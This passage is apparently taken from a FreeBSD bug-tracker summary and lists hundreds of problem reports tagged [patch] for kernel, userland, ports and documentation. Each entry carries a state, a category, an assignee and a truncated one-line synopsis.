re-enable WITH_TCL o bin/112336 [patch] install(1): install -S (safe copy) with -C or s gnu/112215 obrien [patch] gcc(1): "gcc -m32" attempts to link against 64 o bin/112213 [patch] touch(1)ing a directory and failing yields ret f kern/111990 [pccbb] [patch] system freeze in initialization proces o bin/111978 [patch] [request] make syspath list for mount(8) confi o kern/111537 kmacy [inet6] [patch] ip6_input() treats mbuf cluster wrong o bin/111493 [patch] routed(8) doesn't use multicasts for RIPv2 via o power/111296 ppc [kernel] [patch] [request] Support IMISS, DLMISS an DS o bin/111226 [patch] Incorrect usage of chflags() in various FreeBS o bin/111024 [request] [patch] atacontrol(8): support for stand-by p kern/111023 mav [ata] [request] [patch] please expand ata timeouts o kern/110995 kmacy [loader] [patch] loader wastes space worth symtab size o conf/110993 [patch] /etc/netstart should start rpcbind o bin/110887 [patch] truss(1) missing linux_access syscall descript o usb/110856 usb [ugen] [patch] interrupt in msgs are truncated when bu f kern/110720 kmacy [net] [patch] [request] support for interface descript o ports/110533 olgeni [patch] WITHOUT_NLS support for www/neon and www/sitec o kern/110392 scottl [hptmv] [patch] hptmv very old and missing important f o docs/110376 doc [patch] add some more explanations for the iwi/ipw fir o kern/110284 kmacy [if_ethersubr] [patch] Invalid Assumption in SIOCSIFAD o docs/110253 doc [patch] rtprio(1): remove processing starvation commen o kern/110249 kmacy [kernel] [regression] [patch] setsockopt() error regre o kern/110199 jmg [kqueue] [patch] kqueue_register doesn't update the kn o bin/110146 [patch] [request] Allow arbitrary gdb(1) options to by o bin/110068 [patch] rewrite of mdmfs(8) in shell o docs/110062 doc [patch] mount_nfs(8) fails to mention a failure condit o docs/110061 doc [patch] tuning(7) missing reference to vfs.read_max o kern/110017 [libexec] [patch] serial port console output garbled p amd64/109584 edwin [patch] zdump(8) doesn't work a ports/109580 glewis [patch] math/gnuplot does not include bsd.emacs.mk whe o conf/109562 rc [rc.d] [patch] [request] Make rc.d/devfs usable from c o bin/109521 [patch] chio(1): 'chio return' breaks on non-voltag ch o ports/109501 krion [PATCH] add some configurable vars to mail/exim o bin/109478 [libc] [patch] adopt reentrant syslog functions from O a kern/109477 yongari [vr] [patch] onboard via vt6103 ethernet does not work o kern/109416 des [libpam] [patch] pam_group doesn't check login_group m o bin/109413 jhb [patch] top(1) shows at least 50% idle when hyperthrea o kern/109277 [pppd] [patch] : kernel ppp(4) botches clist reservati o kern/109251 net [re] [patch] if_re cardbus card won't attach o kern/109232 imp [sio] [patch] ibufsize calculation wrong causing data o docs/109008 csjp [patch] add summary of kern/48198 to jexec(8) s bin/108743 vwe [patch] who(1): IPv6 addresses truncated to maximum IP o bin/108656 [patch] Segfault of sshd(8) for unknown user when priv p bin/108523 trhodes [patch] daemon(8): support for dropping privileges p bin/108368 [patch] tip(1) coredumped when 'du' capability is used o kern/108133 jmg [bktr] [patch] bktr driver doesn't recognize Hauppauge o kern/107944 net [wi] [patch] Forget to unlock mutex-locks o usb/107924 usb [patch] usbd(8) does not call detach o ports/107816 roam [patch] The IPv6 patch breaks the location feature of o kern/107707 geom [geom] [patch] [request] add new class geom_xbox360 to p stand/107561 standards [libc] [patch] [request] Missing SUS function tcgetsid o bin/107515 [patch] ls(1) bug o usb/107388 usb [new driver] [patch] add utoppy device from NetBSD o usb/107248 usb [umass] [patch] scsi_da.c quirk for Cowon iAUDIO X5 MP o usb/107243 usb [cam] [patch] Apacer USB Flash Drive quirk o bin/107171 [patch] [ncurses] systat(1) doesn't die when it's xter o conf/107035 net [patch] bridge(8): bridge interface given in rc.conf n o bin/106872 [patch] [request] extattr support for find(1) o usb/106861 usb [usbdevs] [patch]: usbdevs update: Add product ACER Ze s ports/106848 portmgr [PATCH] Mk/bsd.port.mk -- Add support to remove locale o bin/106734 [patch] [request] bzip2(1): SSE2 optimization for bzip o kern/106722 glebius [net] [patch] ifconfig may not connect an interface to o kern/106646 [nfs] [patch] Pointer incorrectly cast to ulong o kern/106645 [uart] [patch] uart device description in 7-CURRENT is o usb/106621 usb [axe] [patch] DLINK DUB-E100 support broken o i386/106493 ru [patch] pxeboot(8) uses /pxeroot instead of / o ports/106483 portmgr [patch] embed distfile information in +CONTENTS o bin/106431 [patch] atacontrol(8): Inform user of ata RAID5 acting o kern/106255 trhodes [msdosfs] [patch]: correct setting of archive flag p bin/106049 [patch] tftpd(8) - improve -w option to support unique o conf/106009 rc [ppp] [patch] [request] Fix pppoed startup script to p o bin/105614 [patch] setkey(8): Creating NULL encryption ESP SAs wi o kern/105604 [bktr] [patch] add support for Pixelview PlayTV Pro 2 o conf/105568 rc [patch] [request] Add more flexibility to rc.conf, to o docs/105456 keramida [patch] overhaul of the security chapter (14) o bin/105341 [libpam] [patch] [request] pam_krb5: Add minimum_uid/m o www/105333 www [patch] Base selection in events in libcommon.xsl does o kern/105330 ipfw [ipfw] [patch] ipfw (dummynet) does not allow to set q o conf/105145 rc [ppp] [patch] [request] add redial function to rc.d/pp f conf/105100 ache [patch] [locale] no support for lv (latvian) locale o kern/105093 fs [ext2fs] [patch] ext2fs on read-only media cannot be m o bin/104921 ipfw [patch] ipfw(8) sometimes treats ipv6 input as ipv4 (a o kern/104882 [iicbb] [patch] pvr250 and pvrxxx drivers need iicbb p o kern/104851 net [inet6] [patch] On link routes not configured when usi o bin/104746 [patch] traceroute(8): 'traceroute -e -P TCP' cannot w o stand/104743 standards [headers] [patch] Wrong values for _POSIX_ minimal lim o kern/104738 mlaier [inet] [patch] Reentrant problem with inet_ntoa in the o bin/104731 gad [patch] missing newline in lpq(1) output s bin/104689 matteo [patch] [request] powerd(8): add support for limiting o kern/104682 ipfw [ipfw] [patch] Some minor language consistency fixes a o bin/104553 [patch] [request] Add login group support to login.acc o conf/104549 rc [patch] rc.d/nfsd needs special _find_processes functi o gnu/104533 bugmeister [patch] [request] make send-pr(1) read configuration f o docs/104493 roberto [patch] Wrong description in ntp.conf(5) (CURRENT and o kern/104389 geom [geom] [patch] sys/geom/geom_dump.c doesn't encode XML o usb/104352 usb [ural] [patch] ural driver doesnt work o usb/104290 usb [umass] [patch] quirk: TOSHIBA DVD-RAM drive (libretto p kern/104212 [puc] [patch] support for Kuroutoshikou SERIAL4P-LPPCI o bin/104092 [patch] iostat(8): missing blanks in iostat output o kern/104079 [fdc] [patch] kldunload fdc.ko leads to panic: mutex G o kern/103862 [fdc] [patch] Error with fdformat on -CURRENT o kern/103764 [libradius] [patch] libradius aborts server processing o bin/103682 [patch] [request] nfsstat(1) should use %u instead of o kern/103615 emaste [aac] [patch] aac(4) update to the last version availa p conf/103489 bz [rc.d] [named] [jail] [patch] named_chroot_autoupdate o kern/103454 ipfw [ipfw] [patch] [request] add a facility to modify DF b o usb/103418 usb usbhidctl(1): [patch] [request] usbhidctl: add ability o usb/103046 usb [ulpt] [patch] ulpt event driven I/O with select(2) an p kern/102956 dchagin [linux] [patch] Add partial support for SO_PEERCRED in o ports/102946 secteam [patch] ports-mgmt/portaudit a bin/102834 [patch] mail(1) hangs on the sigsuspend system call in o bin/102793 edwin [patch] [request] top(1): display feature of current C o docs/102719 doc [patch] ng_bpf(4) example leads to unneeded promiscuos o conf/102700 rc [geli] [patch] Add encrypted /tmp support to GELI/GBDE o bin/102638 matteo [patch] sysinstall(8): custom dist set always install o bin/102609 [patch] Add filtering capability to date(1) o kern/102549 [bktr] [patch] fix Pixelview PlayTV Pro 2 on bktr o kern/102540 [netgraph] [patch] supporting vlan(4) by ng_fec(4) o conf/102502 net [netgraph] [patch] ifconfig name does't rename netgrap o kern/102471 ipfw [ipfw] [patch] add tos and dscp support o bin/102394 [patch] ls(1) do not shows inode number symbolic link o kern/102390 [pppd] [patch] kernel pppd don't using pam o bin/102357 [patch] tcsh(1)/csh(1) jobs control: sometimes 'fg' co o bin/102299 [patch] grep(1) malloc abuse? o kern/102211 [ar] [patch] detach raid member and reboot will cause o bin/102162 [patch] tftpd(8): Limit port range for tftpd o kern/101819 [ar] [patch] ata driver wrongly determines type RAID o o usb/101775 usb [libusbhid] [patch] possible error in report descripto o usb/101761 usb [usb] [patch] [request] usb.h: increase maximal size o o threa/101323 threads [patch] fork(2) in threaded programs broken. o kern/101274 yongari [sk] [patch] SysKonnect Yukon initialization bug on K8 o bin/100956 remko [patch] support setting carp device state with ifconfi o bin/100921 [patch] tftpd(8): libexec/tftpd: `-w' non-traditional o bin/100914 [patch] tftpd(8): libexec/tftpd: write access control o docs/100803 jhb [patch] the man page about ithread is expired. o conf/100782 [keyboard] [patch] Default keymap to support ALT+Left, o conf/100616 [patch] syslog.conf: lines after exclamation point ign o bin/100535 [patch] cal(1) and ncal(1) do not take into account mu o ports/100504 skv [PATCH] databases/p5-Class-DBI: Reduce dependencies a bin/100496 [patch] Fix to get rid of the telnet(1) to cisco probl o bin/100424 [patch] ssh(1): SSH option BindAddress is ignored by o o misc/100322 [tools] [patch] kerninclude.sh doesn't dump object nam o i386/100142 i386 [pci] [patch] /dev/smb0 device not available on system a bin/100089 [patch] ftp(1): default ftp application of FreeBSD giv o bin/100018 [patch] newsyslog(8) does not check size if time_at is o stand/100017 standards [Patch] Add fuser(1) functionality to fstat(1) o kern/99979 [patch] Get Ready for Kernel Module in C++ o bin/99896 gad [patch] lpr(1): lpr -r flag has no effect o bin/99800 [libc] [patch] Add support for profiling multiple exec o kern/99758 [pty] [patch] chown/chmod pty slave side in kernel o conf/99721 rc [patch] /etc/rc.initdiskless problem copy dotfile in s o misc/99627 [build] [patch] make update & CVSROOT o bin/99566 jail [jail] [patch] fstat(1) according to specified jid o conf/99444 rc [patch] Enhancement: rc.subr could easily support star o conf/99328 linimon [patch] updates for src/share/examples/cvsup o bin/99307 [patch] mount_nfs(8) incompatible with zVM VMNFS 3A0 o bin/99217 [patch] pam_ssh(8) waits for a wrong ssh-agent PID at o kern/99188 andre [tcp] [patch] FIN in same packet as duplicate ACK is l o gnu/99173 [patch] replace gnu patch with a bsd-licensed one. f kern/99068 [linux] [patch] Linux emulator crashed by java, when c o kern/99017 [ata] [patch] FreeBSD versions above 5.3 panic if atap o kern/98978 net [ipf] [patch] ipfilter drops OOW packets under 6.1-Rel o kern/98962 remko [ata] [burncd]: [patch] writing >1 session on ATAPI CD o i386/98932 i386 [i386] [patch] Kernel compilation failed on specific P o kern/98788 [syscons] [patch] Add sysctl to disallow VT_LOCKSWITCH o docs/98759 doc [patch] sbp_targ(4) man page missing reference to devi o bin/98577 [patch] dhclient(8): the link check by dhclient slows o kern/98460 [kernel] [patch] fpu_clean_state() cannot be disabled f docs/98344 linimon [patch] An update of the article "Choosing the FreeBSD o kern/98167 multimedia [sound] [es137x] [patch] ES1370 mixer volumes incorrec o kern/98091 scottl [mfi] [patch] Makefile style of mfi kernel module brok p kern/98015 remko [bfe] [patch] bfe(4): double free in error handling pa o kern/97951 ipfw [ipfw] [patch] ipfw does not tie interface details to p conf/97697 matteo [patch] rc.conf - jail__exec_afterstart[0..n] o usb/97472 usb [cam] [patch] add support for Olympus C150,D390 o kern/97381 [fdc] [patch] Patch to add zero-sector and spanned-sid o kern/97377 fs [ntfs] [patch] syntax cleanup for ntfs_ihash.c o kern/97329 [nfs] [patch] code simplification o kern/97153 [patch] When -NO_KERBEROS is set, libcom_err still get o bin/97083 [patch] passwd(1) does not support _PWF_HESIOD o bin/97002 [patch] cron(8) fails quietly if /usr/sbin/sendmail is o kern/97000 [kernel] [patch] bogus "All threads purged from ugen0. o kern/96999 [procfs] [patch] procfs reports incorrect information o kern/96974 obrien [patch] to build FreeBSD kernel with binutils 2.16.92 o bin/96854 imp [patch] devd(8) parses events incorrectly in some case a bin/96840 [libc] [patch] getgrent() does not return large groups o conf/96746 [nanobsd] [patch] Configuration changes and README for f kern/96743 yongari [sk] [patch] broken 32-bit register operations o bin/96540 [patch] catman(1) does not deal correctly with hard-li o kern/96429 [kernel] [patch] kern_linker.c hardcodes "/boot/kernel f kern/96393 [libz] [patch] assembler implementations for libz on i o usb/96381 usb [cam] [patch] add a quirk table entry for a flash ram o kern/96346 [modules] [patch] disable build of modules that are al o conf/96343 rc [patch] rc.d order change to start inet6 before pf o conf/96247 matteo [patch] 550.ipfwlimit reports logs even if log size is o stand/96236 standards [patch] [posix] sed(1) incorrectly describes a functio o kern/96030 net [bfe] [patch] Install hangs with Broadcomm 440x NIC in f bin/95979 obrien [patch] burncd(8) fails to fixate CDs p bin/95715 [patch] random(6) busy loop under some conditions o bin/95698 philip [patch] moused(8): Software control of sysmouse o kern/95661 [pci] [patch] pci_pci still not correct for initializi o bin/95339 [libexec] [patch] rtld is thread-unsafe. fixes for dlo o kern/95277 net [netinet] [patch] IP Encapsulation mask_match() return o kern/95239 [libc] [patch] nftw(3) returns EINVAL for large values s ports/95085 portmgr [PATCH]: bsd.port.mk: Add knob to allow for mutually e o kern/95084 ipfw [ipfw] [regression] [patch] IPFW2 ignores "recv/xmit/v o bin/95082 [patch] ping(8) won't handle large preload patterns o bin/95079 [patch] apply(1) dies when there are two %1 in command s kern/94863 net [bge] [patch] hack to get bge(4) working on IBM e326m o kern/94830 [nfs] [patch] mount_nfs causes a fatal trap 18 if the o kern/94772 [fifo] [patch] FIFOs (named pipes) + select() == broke o ports/94690 ume [patch] Daemons in /usr/local/etc/rc.d/ must do "setss o kern/94669 pjd [vfs] [patch] Panic from Failed Removable Media Mount o docs/94625 doc [patch] growfs man page -- document "panic: not enough o bin/94546 [patch] Make telnet(1) accept 'host:port' on command l o kern/94519 [libc] [patch] Add UF_HIDDEN file flag; map it to Wind o www/94423 danger [patch] XML'ified release todo list o kern/94369 itetcu [bktr] [patch] Patch to support Leadtek WinFast Tv2000 o kern/94273 gnn [ipsec] [patch] IPIP decapsulation problem in FAST_IPS o bin/94052 [patch] Adds option to script(1) to suppress carriage- o bin/94032 krion [patch] Enhancement to pkg_add(1) to add -4 flag to fo o kern/93998 [libstand] [patch] panic in libstand when closing raw o kern/93942 fs [vfs] [patch] panic: ufs_dirbad: bad dir (patch from D o usb/93872 usb [cam] [patch] SCSI quirk required for ELTA 8061 OL USB o bin/93857 [patch] new utility: kiconv_cs_preload(8): Utility for o conf/93815 rc [patch] Adds in the ability to save ipfw rules to rc.d o bin/93776 [crypto] [patch] SHA256_Update / SHA512_Update fail to o kern/93705 standards [headers] [patch] ENODATA and EGREGIOUS (for glibc com o docs/93683 chinsan [patch] some typos in klist(1) o misc/93661 [patch] loader(8): prevent *.4th files and friends fro o gnu/93566 [patch] sort(1): numeric sort is broken on multi-byte a ports/93560 roam [patch] dns/djbdns-ipv6: Update IPv6 patches o bin/93473 des [patch] Let pam_unix(8) use "passwordtime" from login. o usb/93389 usb [umass] [patch] Digital Camera Pentax S60 don't work o misc/93341 phk [nanobsd] [patch] make more flexibitily for NanoBSD cu o kern/93331 [kernel] [patch] broken asm in kernel o bin/93310 des [libpam] [patch] pam_unix ignores 'passwordtime' from o bin/93309 [rpc.quotad] [patch] rpc.rquotad: group quota support o gnu/93127 [patch] add __FreeBSD_kernel__ to pre-defines o kern/92880 net [libc] [patch] almost rewritten inet_network(3) functi o usb/92852 usb [ums] [patch] Vertical scroll not working properly on o kern/92786 [ata] [patch] ATA fixes, write support for LSI v3 RAID o kern/92675 yongari [fxp] [patch] fxp(4) unable to recover from occasional o conf/92523 rc [patch] allow rc scripts to kill process after a timeo s ports/92434 portmgr [patch] Mk/bsd.port.mk automatic show pkg-message o kern/92412 [libexec] [patch] rpc.rstatd reports bogus packets/per o stand/92362 standards [headers] [patch] Missing SIGPOLL in kernel headers o kern/92238 [ata] [patch] Spurious "atapci1: failed to enable memo o kern/92092 [iicbus] [patch] Panic if device with iicbus child is o kern/91954 [libpam] [patch] Proposed enhancement for pam_krb5: "o o i386/91871 i386 [boot1] [patch] boot1: jump to 0xf000:0xfff0 instead o s kern/91777 net [ipf] [patch] wrong behaviour with skip rule inside an o conf/91732 [patch] 800.loginfail: fix log message grep expression o usb/91546 usb [umodem] [patch] Nokia 6630 mobile phone does not work o usb/91538 usb [ulpt] [patch] Unable to print to EPSON CX3500 f kern/91476 gavin [fdc] [patch] floppy drive doesn't work in MS Virtual o kern/91414 emaste [kernel] [patch] Polling for devices other than NICs o kern/91347 rodrigc [pci] [patch] Add another PCI-e chipset for extended c o bin/91299 yar [patch] add ftpd(8) SITE SHA256 command p kern/91293 delphij [svr4] [patch] *Experimental* Update to the SVR4 emula o kern/91134 fs [smbfs] [patch] Preserve access and modification time o bin/91101 edwin [patch] whereis(1): make more readable o bin/91034 [patch] minor fix to iostat(8) so that columns line up o kern/90973 thompsa [net] [patch] if_bridge does not handle arp for own ad f conf/90863 dougb [patch] 6.0 boot: name resolution broken for daemon st a kern/90815 fs [smbfs] [patch] SMBFS with character conversions somet o bin/90687 avg [patch] side effect of -delete option of find(1) o bin/90680 [patch] make(1) thinks "^.for.o:" is a directive (".fo o ports/90436 portmgr [patch] Add a way to handle configuration files to bsd o bin/90384 [patch] chroot patch for sftp-server(8) o bin/90311 [patch] add "eject" to mt(1) a conf/90163 dougb [patch] Easily launch non-forking daemons like logsurf o bin/90130 [patch] sysctl(8): print temperature in celsius only w o bin/90114 [patch] pw(8) takes strings after option -g for GID 0 s bin/90082 matteo [syscons] [patch] curses ACS line graphics support for f kern/89989 bz [jail] [patch] Add option -I (ASCII 73) PID to specif o bin/89988 [patch] bootparamd(8) null host support and whoami fix o conf/89870 rc [patch] [request] make netif verbose rc.conf toggle o bin/89799 [patch] Making natd(8) not require a newline at the en o bin/89770 des [patch] pam_krb5 'authentication token failure' in pas o bin/89762 edwin [patch] top(1) startup is very slow on system with man f kern/89752 dwmalone [bpf] [patch] bpf_validate() needs to do more checks a kern/89660 geom [vinum] [patch] [panic] due to g_malloc returning null o kern/89553 [bktr] [patch] going from 5.3 -> 6.0 winTV card not pr o bin/89410 [patch] sh(1) missing \u interpolation and bug/fix in o bin/89326 [patch] Add pattern matching to login.access(5) p docs/89325 trhodes [patch] Clarification of kbdmap(5), atkbd(4) and kbdco s kern/89305 vwe [vr] [patch] D-Link NIC with VIA Rhine II, lost of Net o conf/89061 rc [patch] IPv6 6to4 auto-configuration enhancement o conf/88913 rc [patch] wrapper support for rc.subr o bin/88821 pjd [patch] IPv6 support for ggated(8) o bin/88780 [patch] Baseline ipmon(8) uses LOG_LOCAL0 syslog, not o bin/88655 [patch] tcsh(1): /bin/tcsh ls-F : Floating exception ( a bin/88538 [patch] tcsh(1) ls-F spacing incorrect. o docs/88512 doc [patch] mount_ext2fs(8) man page has no details on lar o kern/88336 vanhu [ipsec] [patch] setkey(8) -D fails to report all SAs o bin/88215 [patch] syslogd(8) does not pass cleanly parameters to o bin/88056 [patch] [request] cp(1) could really use Linux's -x op o kern/88045 jhb [nve] [patch] 6.0rc1: nve0: device timeout (51) o kern/87990 [kernel] [patch] SMP Race Condition in kdb_enter/kdb_e o bin/87966 [patch] newfs(8): introduce -A flag for newfs to enabl o conf/87925 [patch] [request] modify output of 405.status_ata_raid o bin/87792 [patch] very bad performance of cp(1) via NFS, possibl o kern/87729 phk [libc] [patch] most calls to malloc(3) generate warnin o bin/87651 [patch] fsck(8) (on superblock error) tells wrong man o kern/87506 net [vr] [patch] Fix alias support on vr interfaces s ports/87420 portmgr [patch] bsd.port.mk: implementing WITH_OPENLDAP_VER to o www/87119 hrs [patch] encode copyright and such symbolically o kern/87032 ipfw [ipfw] [patch] ipfw ioctl interface implementation o kern/86957 ipfw [ipfw] [patch] ipfw mac logging o kern/86944 [nfs] [patch] When I use FreeBSD with NFS client, clos o usb/86767 usb [umass] [patch] bogus "slice starts beyond end of the o bin/86635 pf [patch] pfctl(8): allow new page character (^L) in pf. o bin/86485 [patch] hexdump(1): hexdump -s speedup on /dev a stand/86484 standards [patch] mkfifo(1) uses wrong permissions o bin/86388 [patch] periodic(8) daily should backup bsdlabel(8) / o kern/86290 jeff [kernel] [patch] minor optimizations + cleanup to vrel o kern/85971 jeff [uma] [patch] minor optimization to uma o gnu/85895 [patch] cc -print-search-dirs returns (null) o kern/85886 [an] [patch] an0: timeouts with Cisco 350 minipci o conf/85819 rc [patch] script allowing multiuser mode in spite of fsc s kern/85658 jeff [sched_ule] [patch] add DDB command, show runq, to sch o kern/85657 [kernel] [patch] capture and expose per-CPU time accou o i386/85656 i386 [i386] [patch] expose more i386 specific CPU informati o i386/85655 i386 [i386] [patch] expose cpu info for i386 systems o i386/85653 i386 [i386] [patch] relieve hangs in tight loops in process o i386/85652 i386 [loader] [patch] deal with out-of-memory errors during o kern/85651 [kernel] [patch] debugging code to show entries in eve o kern/85650 [libstand] [patch] modifications to tftp-based PXE boo o kern/85493 imp [ed] [patch] OLDCARD can't probe ed driver o i386/85417 i386 [i386] [npx] [patch] Possible bug in ia32 floating-poi p kern/85320 gonzo [gre] [patch] possible depletion of kernel stack in ip o kern/85266 net [xe] [patch] xe(4) driver does not recognise Xircom XE o kern/85137 des [pseudofs] [patch] panic due to sleep with held mutex o docs/85128 doc [patch] loader.conf(5) autoboot_delay incompletly desc o kern/85086 wkoszek [ef] [patch] Locking fixes for ef(4) (+removes mem. le o kern/84981 [headers] [patch] header protection for with aroun p kern/78179 alc [vm] [patch] bus_dmamem_alloc() with BUS_DMA_NOWAIT ca o bin/78170 [patch] Fix signal handler in bootpd(8) o kern/78114 phk [geom] [patch] Solaris/x86 label structures for GEOM ( p kern/77913 net [wi] [patch] Add the APDL-325 WLAN pccard to wi(4) o kern/77355 [i386] [patch] Detect i*86 subarches for uname s kern/77195 net [ipf] [patch] ipfilter ioctl SIOCGNATL does not match o kern/77181 mckusick [newfs] [patch] newfs -g largevalue, mkdir, panic o bin/77031 [patch] comm(1) unable to handle lines greater than LI o i386/76944 i386 [busdma] [patch] i386 bus_dmamap_create() bug o kern/76893 [cam] [patch] Fatal divide in booting processes with B o bin/76711 [patch] rm(1): parse error in rm.c:check() while parsi o kern/76678 dfr [libpam] [patch] Allow pam_krb5 to authenticate no loc o usb/76653 usb [umass] [patch] Problem with Asahi Optical usb device o conf/76626 [patch] 460.status-mail-rejects shows destination doma o kern/76539 [dummynet] [patch] ipnat + dummynet on output on same s kern/76520 [libiconv] [patch] Add new kernel-side libiconv conver o bin/76362 [patch] sys directory link points to wrong location p docs/76333 trhodes [patch] ferror(3): EOF indicator can be cleared by not o gnu/76169 [patch] Add PAM support to cvs pserver o kern/76126 [nfs] [patch] 4.11 client will send a NFS request to r o kern/75934 [libcrypt] [patch] missing blowfish functionality in p o usb/75764 usb [umass] [patch] "umass0: Phase Error" - no device for o docs/75711 keramida [patch] opendir(3) missing ERRORS section o bin/75258 [patch] dd(1) has not async signal safe interrupt hand o kern/75132 jhb [puc] [patch] add support for the Davicom 56PDV PCI Mo o kern/75122 silby [netinet] [patch] Incorrect inflight bandwidth calcula s kern/74986 jfv [patch] sysctlize a parameter of if_em's interrupt mod o kern/74786 [irq] [patch] Smartlink Modem causes interrupt storm o s usb/74453 usb [umass] [patch] Q-lity CD-RW USB ECW-043 (ScanLogic SL o kern/74450 [libalias] [patch] enable libalias/natd to create skip o bin/74360 [patch] ndiscvt(8) generates a driver which doesn't ma o conf/74213 darrenr [patch] Connect src/etc/periodic/security/610.ipf6deni o bin/74178 [patch] grdc(6) - scrolling does not work and "AM"/"PM o bin/74127 [patch] patch(1) may misapply hunks with too little co o conf/74004 [patch] add fam support to inetd.conf o i386/73921 i386 [sysctl] [patch] sysctlbyname for machdep.tsc_freq doe o conf/73786 [patch] added WARNING in spanish to stable-supfile o kern/73777 emulation [linux] [patch] linux emulation: root dir special hand o conf/73677 rc [patch] add support for powernow states to power_profi o conf/73337 [nsswitch.conf] [patch] potential invalid free o kern/73328 edwin [patch] top(1) shows NICE as -111 on processes started o kern/73004 [loader] [patch] PXE loader malfunction in multiple PX o conf/72901 [patch]: dot.profile: prevent printing when doing an s o bin/72793 [patch] wicontrol(8) prints out non-printable chars in o bin/72588 [patch] iostat(8) tty stats field concatenation o kern/72585 [syscons] [patch] iso05-8x16.fnt lacks letter q o conf/72465 [patch] United States International keyboard layout fo o kern/72433 [amr] [patch] AMR raid, amrreg.h struct amr_enquery3 a o conf/72277 [patch] update for /usr/share/skel o conf/71994 [patch] dot.login: login shell may unnecessarily print s bin/71855 [patch] making kdump(1) WARNS=6 clean o bin/71749 [patch] truss -f causes circular wait when traced proc o bin/71671 [patch] cleanup of the usr.sbin/apmd code o bin/71667 [patch] cleanup of the usr.sbin/bootparamd code o bin/71665 [patch] cleanup of the usr.sbin/dconschat code o bin/71664 [patch] cleanup of the usr.sbin/fwcontrol code o bin/71661 [patch] cleanup of the usr.sbin/keyserv code o bin/71660 [patch] cleanup of the usr.sbin/kgmon code p bin/71659 [patch] cleanup of the usr.sbin/mount_portalfs code o bin/71632 [patch] cleanup of the usr.sbin/ndp code o bin/71631 [patch] cleanup of the usr.sbin/pppctl code o bin/71630 [patch] cleanup of the usr.sbin/pppd code o bin/71629 [patch] cleanup of the usr.sbin/pppstats code o bin/71628 [patch] cleanup of the usr.sbin/rpcbind code o bin/71625 [patch] [nis] cleanup of the usr.sbin/rpc.ypupdated co o bin/71622 [patch] sicontrol(8): cleanup of the usr.sbin/sicontro o bin/71621 [patch] sliplogin(8): cleanup of the usr.sbin/sliplogi o bin/71618 [patch] timed(8): cleanup of the usr.sbin/timed code o bin/71617 [patch] [nis] ypserv(8): cleanup of the usr.sbin/ypser o bin/71616 [patch] [nis] yp_mkdb(8): cleanup of the usr.sbin/yp_m o bin/71613 [patch] traceroute(8): cleanup of the usr.sbin/tracero o bin/71602 [patch] uninitialized "len" used instead of "slen" wit s bin/71290 des [patch] passwd(1) cannot change passwords other than N o kern/71258 alc [vm] [patch] anonymous mmappings not always page align o stand/70813 standards [patch] ls(1) not Posix compliant o kern/70810 [pci] [patch] Enable SMBus device on Asus P4B series m o i386/70531 i386 [boot0] [patch] boot0 hides Lilo in extended slice o usb/70523 usb [umct] [patch] umct sending/receiving wrong characters o bin/70245 ru [patch] [build] Change to src/release/Makefile to aid p kern/70096 trhodes [msdosfs] [patch] full msdos file system causes corrup o bin/69986 sysinstall(8): [patch] no job control in fixit shell o o bin/69875 [patch] mlxcontrol(8): `mlxcontrol status ' p docs/69861 trhodes [patch] usr.bin/csplit/csplit.1 does not document POSI o kern/69650 [patch] make getserv* functions work with nsdispatch o bin/69398 [patch] login(1) cleartext display of password in logi o bin/69268 [patch] Fix ndiscvt(8) to warn you if it's going to ge o bin/69083 [patch] vi(1) basic modelines for contrib/nvi o bin/69010 [patch] [build] Portability fixes for FreeBSD build ut o usb/69006 usb [usbdevs] [patch] Apple Cinema Display hangs USB ports a kern/68905 secteam [patch] core dumps are assigned wrong ownership o bin/68797 [patch] cut(1): fflush after each write if an option i o bin/68586 dwmalone [patch] allow syslogd(8) to forward to non-default por o bin/68437 [patch] conscontrol(8) DEVDIR -> _PATH_DEV fix and mor o bin/68328 [patch] syslogd(8) enable configuration of extra liste s kern/68317 [kernel] [patch] on soft (clean) reboots clean dmesg o o kern/68311 [patch] it is impossible to override defaults with ker o usb/68232 usb [ugen] [patch] ugen(4) isochronous handling correction p kern/68189 bz [arp] [jail] [patch] arp -a discloses non-jail interfa o conf/68108 [patch] Adding mac-address /conf selector to diskless o kern/67830 [smp] [patch] CPU affinity problem with forked child p o bin/67550 [patch] tftpd(8) Add BLK_SIZE option to tftpd server f ports/67436 portmgr [patch] bsd.port.mk: GNU_CONFIGURE_PREFIX_SUBDIR s i386/67383 [i386] [patch] do a better job disassembling code in 1 o bin/67231 [patch] pam_krb5 doesn't honor default flags from /etc o bin/66988 [patch] apm(8) check validation of the returned values o kern/66960 [fdc] [patch] filesystems not unmounted during reboot o bin/66893 [patch] [nis] rpc.yppasswdd(8): Linux NIS clients conn s ports/66566 portmgr [PATCH] bsd.port.mk: fix build when /usr/obj/usr/ports s ports/66342 portmgr [PATCH] fix ECHO_MSG breakage in java ports p docs/66289 brueffer [patch] lib/libc/gen/ualarm.3 refers to non-existent a o kern/66268 glebius [socket] [patch] Socket buffer resource limit (RLIMIT_ o kern/66225 [netgraph] [patch] extend ng_eiface(4) control message o kern/66029 [crypto] [patch] MD5 alignment problem on a TriMedia p o kern/65901 fs [smbfs] [patch] smbfs fails fsx write/truncate-down/tr s ports/65804 portmgr [PATCH] bsd.port.mk is gratuitously slow o bin/65803 gad [patch] ps(1) enhancements (posix syntax, and more) o kern/65355 [pci] [patch] TC1000 serial ports need enabling o bin/65306 obrien [patch] [build] Portability fixes for FreeBSD build ut o bin/65228 [Patch] Allow rup(1) to parse hostnames from a defined s kern/64875 standards [libc] [patch] [request] add a system call: fdatasync( a kern/64816 [nfs] [patch] mmap and/or ftruncate does not work corr o bin/64327 [patch] make(1): document surprising behaviour of assi o kern/64196 [kernel] [patch] remove the arbitrary MAXSHELLCMDLEN o kern/64178 jmg [kqueue] [patch] kqueue does not work with bpf when us o kern/64114 [vga] [patch] bad vertical refresh for console using R o kern/63863 glebius [netgraph] [patch] [request] implement NGM_ELECTROCUTE f usb/63837 linimon [uhid] [patch] USB: hid_is_collection() only looks for o docs/63570 doc [patch] Language cleanup for the Handbook's DNS sectio a bin/63197 [patch] tftp(1) Bus error, core dumped p kern/63064 delphij [patch] strptime(3) fails on %z a kern/62278 [nfs] [patch] NFS server may not set eof flag when rea o bin/62077 [patch] Make it possible to abbreviate mixer(8) device o i386/62003 remko [loader] [patch] make /boot/loader "reboot" code same o bin/61978 delphij [patch] sync setkey(8) token.l with KAME f kern/61960 linimon [ata] [patch] BigDrive support for PC-98 architecture a kern/61744 andre [netinet] [patch] TCP hangs onto mbufs with no tcp dat s kern/61497 ups [kernel] [patch] __elfN(map_insert) bug s i386/61481 [patch] a mechanism to wire io-channel-check to userla s misc/61322 [build] [patch] bsd.dep.mk disallows shell generated f o docs/61301 doc [patch] 